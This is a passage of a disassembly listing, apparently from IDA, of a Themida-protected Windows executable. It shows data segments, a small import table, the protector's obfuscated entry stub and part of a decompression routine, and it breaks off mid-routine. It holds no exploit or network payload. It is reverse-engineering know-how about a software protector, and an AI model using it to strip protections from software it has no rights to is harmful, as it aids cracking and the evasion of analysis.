					; sub_40BD7C:loc_40C091r
dword_4CB478	dd 20h dup(0)		; DATA XREF: sub_40BD7C+2E2o
					; sub_40BD7C+302o
dword_4CB4F8	dd 0			; DATA XREF: sub_40BD7C+2D5w
dword_4CB4FC	dd 0			; DATA XREF: sub_40BD7C+2EFw
					; sub_40BD7C+30Fw
dword_4CB500	dd 0			; DATA XREF: sub_40BD7C:loc_40C0ECr
		align 8
dword_4CB508	dd 0			; DATA XREF: sub_40BD7C+82w
					; sub_40BD7C+101o
dword_4CB50C	dd 41h dup(0)		; DATA XREF: sub_40BD7C+41o
dword_4CB610	dd 41h dup(0)		; DATA XREF: sub_40BD7C+69o
dword_4CB714	dd 0			; DATA XREF: sub_40BD7C+F7w
					; sub_40BD7C+113r
dword_4CB718	dd 0			; DATA XREF: sub_40BD7C+52w
dword_4CB71C	dd 0			; DATA XREF: sub_40BD7C+4Dw
					; sub_40BD7C+D4r
dword_4CB720	dd 20h dup(0)		; DATA XREF: sub_40BD7C+9Ao
					; sub_40BD7C+BAo
dword_4CB7A0	dd 0			; DATA XREF: sub_40BD7C+8Fw
dword_4CB7A4	dd 0			; DATA XREF: sub_40BD7C+A7w
					; sub_40BD7C+C7w
dword_4CB7A8	dd 0			; DATA XREF: sub_40BD7C:loc_40BEA5r
		align 10h
dword_4CB7B0	dd 0			; DATA XREF: sub_40BD7C+1A5w
					; sub_40BD7C+225o
dword_4CB7B4	dd 41h dup(0)		; DATA XREF: sub_40BD7C+167o
dword_4CB8B8	dd 41h dup(0)		; DATA XREF: sub_40BD7C+18Co
dword_4CB9BC	dd 0			; DATA XREF: sub_40BD7C+21Bw
					; sub_40BD7C+237r
dword_4CB9C0	dd 0			; DATA XREF: sub_40BD7C+17Aw
dword_4CB9C4	dd 0			; DATA XREF: sub_40BD7C+175w
					; sub_40BD7C+1F8r
dword_4CB9C8	dd 20h dup(0)		; DATA XREF: sub_40BD7C+1BEo
					; sub_40BD7C+1DEo
dword_4CBA48	dd 0			; DATA XREF: sub_40BD7C+1B1w
dword_4CBA4C	dd 0			; DATA XREF: sub_40BD7C+1CBw
					; sub_40BD7C+1EBw
dword_4CBA50	dd 0			; DATA XREF: sub_40BD7C:loc_40BFC9r
		align 8
dword_4CBA58	dd 0			; DATA XREF: sub_40BD7C+417w
					; sub_40BD7C+470o
dword_4CBA5C	dd 0A2h	dup(0)		; DATA XREF: sub_40BD7C+405o
dword_4CBCE4	dd 41h dup(0)		; DATA XREF: sub_40BD7C+3CFo
dword_4CBDE8	dd 0			; DATA XREF: sub_40BD7C+3FCw
					; sub_40BD7C+423r
		align 10h
dword_4CBDF0	dd 0			; DATA XREF: sub_40BD7C+466w
					; sub_40BD7C+482r
dword_4CBDF4	dd 0			; DATA XREF: sub_40BD7C+429w
dword_4CBDF8	dd 0			; DATA XREF: sub_40BD7C+436w
dword_4CBDFC	dd 0			; DATA XREF: sub_40BD7C+3F6w
		dd 0
dword_4CBE04	dd 0			; DATA XREF: sub_40BD7C:loc_40C214r
		dd 0
dword_4CBE0C	dd 0			; DATA XREF: sub_40B9CF+Er
					; sub_40B9CF+31r
dword_4CBE10	dd 0			; DATA XREF: sub_40B9CF+9r
					; sub_40B9CF+25r
dword_4CBE14	dd 82h dup(0)		; DATA XREF: sub_40C846+8Do
dword_4CC01C	dd 2 dup(0)		; DATA XREF: sub_40D1AF+68o
dword_4CC024	dd 0			; DATA XREF: sub_40DB4F+9Eo
dword_4CC028	dd 0			; DATA XREF: sub_40E288+8w
					; ___:0040E657o
		align 10h
dword_4CC030	dd 2 dup(0)		; DATA XREF: ___:0040E58Do
					; sub_41B4FB+8o ...
dword_4CC038	dd 0			; DATA XREF: ___:0040EEC0r
		dd 0
		dd 0
dword_4CC044	dd 0			; DATA XREF: ___:0040EE93r
dword_4CC048	dd 0			; DATA XREF: ___:0040EE75r
					; ___:0040EEDEr
		align 10h
dword_4CC050	dd 0			; DATA XREF: sub_40BD7C+2AEr
		align 8
dword_4CC058	dd 0			; DATA XREF: sub_40BA3A+1Br
dword_4CC05C	dd 0			; DATA XREF: ___:0040F9B6w
					; ___:0040F9DDr ...
		dd 3 dup(0)
dword_4CC06C	dd 0			; DATA XREF: ___:004112C4r
		dd 0
dword_4CC074	dd 0			; DATA XREF: sub_412E9B+4w
					; sub_412E9B+9o
		dd 10Ah	dup(0)
dword_4CC4A0	dd 188h	dup(0)		; DATA XREF: sub_401AC7+2F39o
					; sub_401AC7:loc_404AAFo
dword_4CCAC0	dd 0			; DATA XREF: sub_401AC7+19B6w
					; sub_401AC7+2F31r ...
		dd 11Ch	dup(0)
dword_4CCF34	dd 1000h dup(0)		; DATA XREF: sub_415CEE+1Do
					; sub_415D8Eo ...
dword_4D0F34	dd 0			; DATA XREF: sub_415CEE+13o
					; sub_415D8E+Eo ...
dword_4D0F38	dd 0Eh dup(0)		; DATA XREF: sub_416C7D+Fo
dword_4D0F70	dd 80h dup(0)		; DATA XREF: sub_417938+41o
dword_4D1170	dd 200h	dup(0)		; DATA XREF: sub_417269+C7o
					; sub_4175C4+DDo ...
dword_4D1970	dd 200h	dup(0)		; DATA XREF: sub_417269+D6o
					; sub_4175C4+F4o ...
dword_4D2170	dd 0			; DATA XREF: sub_417269+86w
					; sub_41743B+94r
dword_4D2174	dd 0			; DATA XREF: sub_417269+A7w
					; sub_4178A1+55r ...
dword_4D2178	dd 0			; DATA XREF: sub_417269+A0w
					; sub_41743B+D6r ...
dword_4D217C	dd 0			; DATA XREF: sub_417269+79w
					; sub_41743B+35r ...
dword_4D2180	dd 80h dup(0)		; DATA XREF: sub_4178A1+5Eo
dword_4D2380	dd 0			; DATA XREF: sub_417269+93w
					; sub_41743B+A2r
		align 8
dword_4D2388	dd 0			; DATA XREF: sub_417269+E7o
					; sub_417269+103r ...
dword_4D238C	dd 0			; DATA XREF: sub_4175C4+17Bw
					; sub_41776B+107w
dword_4D2390	dd 0			; DATA XREF: sub_4175C4+180w
					; sub_41776B+10Dw ...
dword_4D2394	dd 0			; DATA XREF: sub_4175C4+159w
					; sub_4178A1+4Fr
dword_4D2398	dd 0			; DATA XREF: sub_417C15+22w
					; sub_417C15:loc_417D97w ...
dword_4D239C	dd 0			; DATA XREF: sub_401AC7+3C99o
					; sub_417AD7+12o ...
		dd 0
dword_4D23A4	dd 0			; DATA XREF: sub_417C15+1Cr
					; sub_417DB7+3Ar
		dd 7Fh dup(0)
dword_4D25A4	dd 0			; DATA XREF: sub_417C15+28r
					; sub_417DB7+4Aw
dword_4D25A8	dd 6EAh	dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_437BD0o
dword_4D4154	dd 1259h dup(0)
dword_4D8AB8	dd 0			; DATA XREF: sub_417DB7+23o
dword_4D8ABC	dd 81h dup(0)		; DATA XREF: sub_401AC7+3CBDo
					; sub_417AD7+3Co ...
dword_4D8CC0	dd 17h dup(0)		; DATA XREF: sub_418CE8:loc_418E05o
					; sub_418CE8+131o ...
dword_4D8D1C	dd 80h dup(0)		; DATA XREF: sub_419A81+7Co
					; sub_419A81+A5o
dword_4D8F1C	dd 0			; DATA XREF: sub_419062+45w
					; sub_419062+4Dr ...
dword_4D8F20	dd 17h dup(0)		; DATA XREF: sub_41994D:loc_419A6Fo
					; sub_41994D+12Do
dword_4D8F7C	dd 80h dup(0)		; DATA XREF: sub_418FA3+4Bo
					; sub_418FA3+7Do ...
byte_4D917C	db 0			; DATA XREF: sub_419062+29r
					; sub_419062+34w
		align 10h
dword_4D9180	dd 80h dup(0)		; DATA XREF: sub_4192B9+61o
					; sub_4192B9+88o ...
dword_4D9380	dd 81h dup(0)		; DATA XREF: sub_418BBF+33o
					; sub_418BBF+50o ...
dword_4D9584	dd 0			; DATA XREF: sub_419F0E:loc_419F2Fr
					; sub_419FFD+54r ...
dword_4D9588	dd 0			; DATA XREF: sub_419F0Er
					; sub_419FFD+37r ...
dword_4D958C	dd 0			; DATA XREF: sub_419F3E+1Ar
					; sub_41A152+83o
dword_4D9590	dd 0			; DATA XREF: sub_419F0E:loc_419F22r
					; sub_41A152+11Bw
dword_4D9594	dd 0Dh dup(0)		; DATA XREF: sub_419FFD+13o
					; sub_41A152:loc_41A28Fo
dword_4D95C8	dd 0			; DATA XREF: sub_419FFD+CDr
					; sub_419FFD+ECr ...
		align 10h
dword_4D95D0	dd 0Fh dup(0)		; DATA XREF: sub_41AD74+47o
byte_4D960C	db 0			; DATA XREF: sub_41B4CF+6o
					; ___:0041B821o ...
		align 10h
		dd 3Fh dup(0)
dword_4D970C	dd 2 dup(0)		; DATA XREF: sub_41B4FB+18o
dword_4D9714	dd 0			; DATA XREF: sub_41C326+1B9w
					; ___:loc_41DA08w ...
dword_4D9718	dd 0			; DATA XREF: sub_41DB5E+35w
					; sub_41E212:loc_41E2ACw ...
dword_4D971C	dd 0			; DATA XREF: sub_42393B+13Ar
		dd 0A28h, 501h,	5, 1
dword_4D9730	dd 1			; DATA XREF: ___:loc_401513r
					; ___:00422F1Cw
dword_4D9734	dd 28C0AF0h		; DATA XREF: ___:0040151Cr
					; ___:0040153Cr ...
		dd 0
dword_4D973C	dd 28C0A70h		; DATA XREF: ___:00422E16w
					; sub_4259A3+9r ...
dword_4D9740	dd 0			; DATA XREF: sub_426087+36r
dword_4D9744	dd 0			; DATA XREF: sub_4259A3+16r
					; sub_425D71+4r ...
		dd 0
off_4D974C	dd offset aCM_unpackerPac ; DATA XREF: ___:00422EB9w
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4D9754	db 0			; DATA XREF: sub_41BF53+2Dw
					; sub_4238E3+5r
		align 4
dword_4D9758	dd 0			; DATA XREF: sub_41BF53+27w
dword_4D975C	dd 0			; DATA XREF: sub_41BF53+4r
					; sub_41BF53+8Bw
dword_4D9760	dd 0			; DATA XREF: sub_41C864+3Br
					; sub_41C864+91w
		align 8
dword_4D9768	dd 0			; DATA XREF: sub_41CEB4+Aw
		align 10h
dword_4D9770	dd 0			; DATA XREF: sub_41D81B+5Er
					; sub_41D81B+A4w
		align 8
word_4D9778	dw 0			; DATA XREF: sub_41D81B+55r
					; sub_41D81B+9Ao
word_4D977A	dw 0			; DATA XREF: sub_41D81B+48r
		db 2 dup(0)
word_4D977E	dw 0			; DATA XREF: sub_41D81B+3Br
word_4D9780	dw 0			; DATA XREF: sub_41D81B+2Er
word_4D9782	dw 0			; DATA XREF: sub_41D81B+21r
		align 8
dword_4D9788	dd 0			; DATA XREF: ___:loc_422DE4r
					; ___:loc_422E26r ...
		align 10h
dword_4D9790	dd 0			; DATA XREF: sub_41E1C9r ___:0041E1F0o ...
dword_4D9794	dd 0			; DATA XREF: sub_41F247r
dword_4D9798	dd 0			; DATA XREF: sub_41BB48:loc_41BC44r
					; sub_41BC9Br ...
dword_4D979C	dd 1			; DATA XREF: sub_41FDDE:loc_41FF59r
					; sub_41FF77+4w ...
dword_4D97A0	dd 0			; DATA XREF: sub_42037B+37r
		align 8
dword_4D97A8	dd 0			; DATA XREF: sub_42190E+11r
					; sub_421A12+1Ar ...
byte_4D97AC	db 0			; DATA XREF: sub_42190E+3r
					; sub_42190E+98r ...
		align 10h
dword_4D97B0	dd 0			; DATA XREF: sub_421A12+11r
					; sub_421AF0+21w ...
byte_4D97B4	db 0			; DATA XREF: sub_421AF0+51w
		align 4
dword_4D97B8	dd 0			; DATA XREF: sub_421CE6+4Er
					; sub_4220C1+3Ar ...
dword_4D97BC	dd 0			; DATA XREF: sub_421CE6+5Cr
					; sub_4220C1+43r ...
dword_4D97C0	dd 0			; DATA XREF: sub_41D13A+7Ar
					; sub_421E8D+5r
dword_4D97C4	dd 0			; DATA XREF: sub_42249C+29r
dword_4D97C8	dd 2 dup(0)		; DATA XREF: sub_41D900+Co
dword_4D97D0	dd 0			; DATA XREF: sub_41DD4A+4r
					; sub_41DD4A+6Er ...
		align 10h
dword_4D97E0	dd 0			; DATA XREF: sub_41DFD4+61r
					; sub_41DFD4+BFr ...
		align 8
dword_4D97E8	dd 1			; DATA XREF: sub_4229D2+28r
					; sub_4229D2+4Cw ...
dword_4D97EC	dd 0			; DATA XREF: ___:00422C30r
					; ___:00422C3Cw ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422EA2o
					; ___:off_4D974Co
		align 4
		dd 3Ah dup(0)
dword_4D98F4	dd 1			; DATA XREF: ___:004230DAr
					; ___:004230FBw ...
dword_4D98F8	dd 0			; DATA XREF: sub_423498+21r
dword_4D98FC	dd 0			; DATA XREF: sub_41F262+154w
					; sub_42037B:loc_4203A4w ...
dword_4D9900	dd 0			; DATA XREF: sub_41F262+7r
dword_4D9904	dd 1			; DATA XREF: sub_423BF4+26r
					; sub_423BF4:loc_423C5Ew
word_4D9908	dw 0			; DATA XREF: sub_4244F9+1Ao
					; sub_4244F9+46r
byte_4D990A	db 0			; DATA XREF: sub_4244F9+39r
		align 4
dword_4D990C	dd 7 dup(0)		; DATA XREF: sub_4244F9+52o
dword_4D9928	dd 0			; DATA XREF: sub_4244F9+40w
					; sub_4244F9+5Co
dword_4D992C	dd 0			; DATA XREF: sub_4244F9+4Dw
dword_4D9930	dd 0			; DATA XREF: sub_4244F9+31w
dword_4D9934	dd 0			; DATA XREF: sub_4244F9+52w
dword_4D9938	dd 77C26E79h		; DATA XREF: sub_42461C:loc_42463Fr
					; sub_42461C+38r ...
		align 10h
dword_4D9940	dd 0			; DATA XREF: sub_4246FC+11w
					; sub_4246FC+63w ...
		align 8
dword_4D9948	dd 0			; DATA XREF: sub_4246FC+33o
					; sub_4246FC+46r
dword_4D994C	dd 10h dup(0)		; DATA XREF: sub_4246FC+C1o
word_4D998C	dw 0			; DATA XREF: sub_42495A+A8r
word_4D998E	dw 0			; DATA XREF: sub_4246FC+54r
					; sub_42495A+DBr ...
word_4D9990	dw 0			; DATA XREF: sub_42495A+CAr
word_4D9992	dw 0			; DATA XREF: sub_42495A+D3r
					; sub_42495A:loc_424A4Cr
word_4D9994	dw 0			; DATA XREF: sub_42495A+C0r
word_4D9996	dw 0			; DATA XREF: sub_42495A+B8r
word_4D9998	dw 0			; DATA XREF: sub_42495A+B0r
word_4D999A	dw 0			; DATA XREF: sub_42495A+9Er
dword_4D999C	dd 0			; DATA XREF: sub_4246FC+4Br
dword_4D99A0	dd 10h dup(0)		; DATA XREF: sub_4246FC+FBo
word_4D99E0	dw 0			; DATA XREF: sub_42495A+46r
word_4D99E2	dw 0			; DATA XREF: sub_4246FC:loc_424773r
					; sub_42495A+78r ...
word_4D99E4	dw 0			; DATA XREF: sub_42495A+67r
word_4D99E6	dw 0			; DATA XREF: sub_42495A+70r
					; sub_42495A:loc_4249DEr
word_4D99E8	dw 0			; DATA XREF: sub_42495A+5Dr
word_4D99EA	dw 0			; DATA XREF: sub_42495A+55r
word_4D99EC	dw 0			; DATA XREF: sub_42495A+4Dr
word_4D99EE	dw 0			; DATA XREF: sub_42495A+3Er
dword_4D99F0	dd 0			; DATA XREF: sub_4246FC+80r
dword_4D99F4	dd 0			; DATA XREF: sub_4246FC+132r
					; sub_4246FC:loc_424848r ...
dword_4D99F8	dd 0			; DATA XREF: sub_4246E7r sub_4246E7+Ew
dword_4D99FC	dd 0			; DATA XREF: sub_424C88+3r
					; sub_424C88+2Ew ...
dword_4D9A00	dd 0			; DATA XREF: sub_424C88+43w
					; sub_424C88:loc_424CD7r
dword_4D9A04	dd 0			; DATA XREF: sub_424C88+4Aw
					; sub_424C88+60r
dword_4D9A08	dd 0			; DATA XREF: sub_42393B+3Fr
dword_4D9A0C	dd 0			; DATA XREF: sub_425831:loc_425898r
					; sub_425831+6Do
dword_4D9A10	dd 0			; DATA XREF: sub_425831:loc_42586Fr
					; sub_425831+44o
dword_4D9A14	dd 0			; DATA XREF: sub_425831:loc_425862r
					; sub_425831+37o
dword_4D9A18	dd 0			; DATA XREF: sub_425831:loc_42587Cr
					; sub_425831+51o
		align 10h
dword_4D9A20	dd 0			; DATA XREF: sub_425DDF+28r
					; sub_425DDF+48w ...
dword_4D9A24	dd 0			; DATA XREF: sub_4268F1+28r
					; sub_4268F1+4Cw ...
dword_4D9A28	dd 0			; DATA XREF: sub_426B7C+26r
					; sub_426B7C:loc_426BE6w
byte_4D9A2C	db 0			; DATA XREF: sub_40DB2Dr sub_40DB2D+9w
		align 10h
dword_4D9A30	dd 2434968h		; DATA XREF: sub_41E390:loc_41E3A1r
					; sub_41F3D2+14r ...
		align 10h
dword_4D9A40	dd 400h	dup(0)		; DATA XREF: ___:off_43AD78o
					; ___:0043AD80o
dword_4DAA40	dd 200h			; DATA XREF: sub_41E390+9r
					; sub_41E390+56r ...
		dd 7 dup(0)
dword_4DAA60	dd 28C0EF0h		; DATA XREF: sub_41EF78+75r
					; sub_41F051+2Ar ...
dword_4DAA64	dd 3Fh dup(0)		; DATA XREF: ___:0042329Co
dword_4DAB60	dd 20h			; DATA XREF: sub_41E212+8r
					; sub_41F051+Cr ...
dword_4DAB64	dd 4E4h			; DATA XREF: sub_41FDDE+14r
					; sub_41FDDE+65w ...
		align 10h
dword_4DAB70	dd 3 dup(0)		; DATA XREF: sub_41FDDE+123o
					; sub_41FDDE+171o ...
dword_4DAB7C	dd 0			; DATA XREF: sub_41FDDE+108w
					; sub_41FDDE+15Dw ...
byte_4DAB80	db 0			; DATA XREF: sub_42001D:loc_420129w
					; sub_42001D:loc_420146w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DAC80	db 0			; DATA XREF: sub_41FDDE+5Co
					; sub_41FDDE+AFo ...
byte_4DAC81	db 0			; DATA XREF: sub_41C151+5Dr
					; sub_41FDDE+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DAD84	dd 0			; DATA XREF: sub_41FDDE+6Ew
					; sub_41FDDE+12Bw ...
dword_4DAD88	dd 10h			; DATA XREF: sub_41EAD6+5r
					; sub_41EAD6+32w
dword_4DAD8C	dd 0			; DATA XREF: sub_41E4A2+239r
					; sub_41E4A2+259r ...
dword_4DAD90	dd 2430650h		; DATA XREF: sub_41E4A2+310w
					; sub_41E7CD:loc_41E81Dr ...
dword_4DAD94	dd 0			; DATA XREF: sub_41E4A2+22Cr
					; sub_41E4A2+25Fr ...
dword_4DAD98	dd 1			; DATA XREF: sub_41E477r
					; sub_41E4A2+2CAr ...
dword_4DAD9C	dd 2430650h		; DATA XREF: sub_41E477+8r
					; sub_41E4A2+2CFr ...
dword_4DADA0	dd 2430000h		; DATA XREF: sub_41BA31+21r
					; sub_41BB48+A9r ...
dword_4DADA4	dd 142340h		; DATA XREF: ___:00422D89r
					; ___:00422EB4r
dword_4DADA8	dd 1			; DATA XREF: ___:00422E7Fw sub_4259A3r
dword_4DADAC	dd 1			; DATA XREF: sub_4201A2r
					; sub_4201A2+11w ...
dword_4DADB0	dd 28C0E60h		; DATA XREF: sub_41BF53+3Er
					; sub_41D743+13r ...
dword_4DADB4	dd 28C0E60h		; DATA XREF: sub_41BF53+35r
					; sub_41BF53+57r ...
		dd 92h dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DC000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DC000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DC000h
		dd 400h	dup(0)
_rsrc___	ends

; Section 3. (virtual address 000DD000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DD000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4DD000h
a7icwCw		db '7╗Гw╣\Гw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0DD050h, 0DD000h, 3 dup(0)
		dd 0DD079h, 0DD00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000DE000)
; Virtual size			: 000E2000 ( 925696.)
; Section size in file		: 000E2000 ( 925696.)
; Offset to raw	data for section: 000DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4DE000h
		dd 0EBC71C04h, 4E425h, 5400Ah, 93172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004DE265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053C6AA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053FA8F SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0053FD05 SIZE 000000EA BYTES
; FUNCTION CHUNK AT 0053FE25 SIZE 00000016 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4DE086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4DE041
		popa
		jmp	short loc_4DE076
; ---------------------------------------------------------------------------
a7rm		db 'ш-7ЮM',0
		db 0FFh
		dd 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_4DE041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4DE04E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4DE06D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4DE074


loc_4DE06D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4DE04E
; ---------------------------------------------------------------------------


loc_4DE074:				; CODE XREF: start+57j
		mov	edi, eax


loc_4DE076:				; CODE XREF: start+1Bj
		jmp	loc_4DE265
; ---------------------------------------------------------------------------
		db 3
aJt		db 'г╧jБ',0Dh,0
		dw 0CF03h
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_4DE086:				; CODE XREF: start+8j
		mov	eax, offset loc_53C6AA
		mov	ecx, offset word_4DE26A
		push	eax
		push	ecx
		call	sub_4DE11B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4DE265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
		dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
		dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh,	0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4DE11B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4DE127:				; CODE XREF: sub_4DE11B:loc_4DE13Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4DE132:				; CODE XREF: sub_4DE11B+7Aj
					; sub_4DE11B+C3j ...
		add	dl, dl
		jnz	short loc_4DE13B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4DE13B:				; CODE XREF: sub_4DE11B+19j
		jnb	short loc_4DE127
		add	dl, dl
		jnz	short loc_4DE146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4DE146:				; CODE XREF: sub_4DE11B+24j
		jnb	short loc_4DE197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4DE153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4DE153:				; CODE XREF: sub_4DE11B+31j
		jnb	loc_4DE238
		add	dl, dl
		jnz	short loc_4DE162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4DE162:				; CODE XREF: sub_4DE11B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4DE16D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4DE16D:				; CODE XREF: sub_4DE11B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4DE178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4DE178:				; CODE XREF: sub_4DE11B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4DE183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4DE183:				; CODE XREF: sub_4DE11B+61j
		adc	eax, eax
		jz	short loc_4DE18D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4DE18D:				; CODE XREF: sub_4DE11B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4DE132
; ---------------------------------------------------------------------------


loc_4DE197:				; CODE XREF: sub_4DE11B:loc_4DE146j
		mov	eax, 1


loc_4DE19C:				; CODE XREF: sub_4DE11B:loc_4DE1B0j
		add	dl, dl
		jnz	short loc_4DE1A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4DE1A5:				; CODE XREF: sub_4DE11B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4DE1B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4DE1B0:				; CODE XREF: sub_4DE11B+8Ej
		jb	short loc_4DE19C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4DE1E3
		mov	ecx, 1


loc_4DE1C0:				; CODE XREF: sub_4DE11B:loc_4DE1D4j
		add	dl, dl
		jnz	short loc_4DE1C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4DE1C9:				; CODE XREF: sub_4DE11B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4DE1D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4DE1D4:				; CODE XREF: sub_4DE11B+B2j
		jb	short loc_4DE1C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4DE132
; ---------------------------------------------------------------------------


loc_4DE1E3:				; CODE XREF: sub_4DE11B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4DE1F1:				; CODE XREF: sub_4DE11B:loc_4DE205j
		add	dl, dl
		jnz	short loc_4DE1FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4DE1FA:				; CODE XREF: sub_4DE11B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4DE205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4DE205:				; CODE XREF: sub_4DE11B+E3j
		jb	short loc_4DE1F1
		cmp	eax, 7D00h
		jnb	short loc_4DE228
		cmp	eax, 500h
		jb	short loc_4DE223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4DE132
; ---------------------------------------------------------------------------


loc_4DE223:				; CODE XREF: sub_4DE11B+F8j
		cmp	eax, 7Fh
		ja	short loc_4DE22B


loc_4DE228:				; CODE XREF: sub_4DE11B+F1j
		add	ecx, 2


loc_4DE22B:				; CODE XREF: sub_4DE11B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4DE132
; ---------------------------------------------------------------------------


loc_4DE238:				; CODE XREF: sub_4DE11B:loc_4DE153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4DE259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
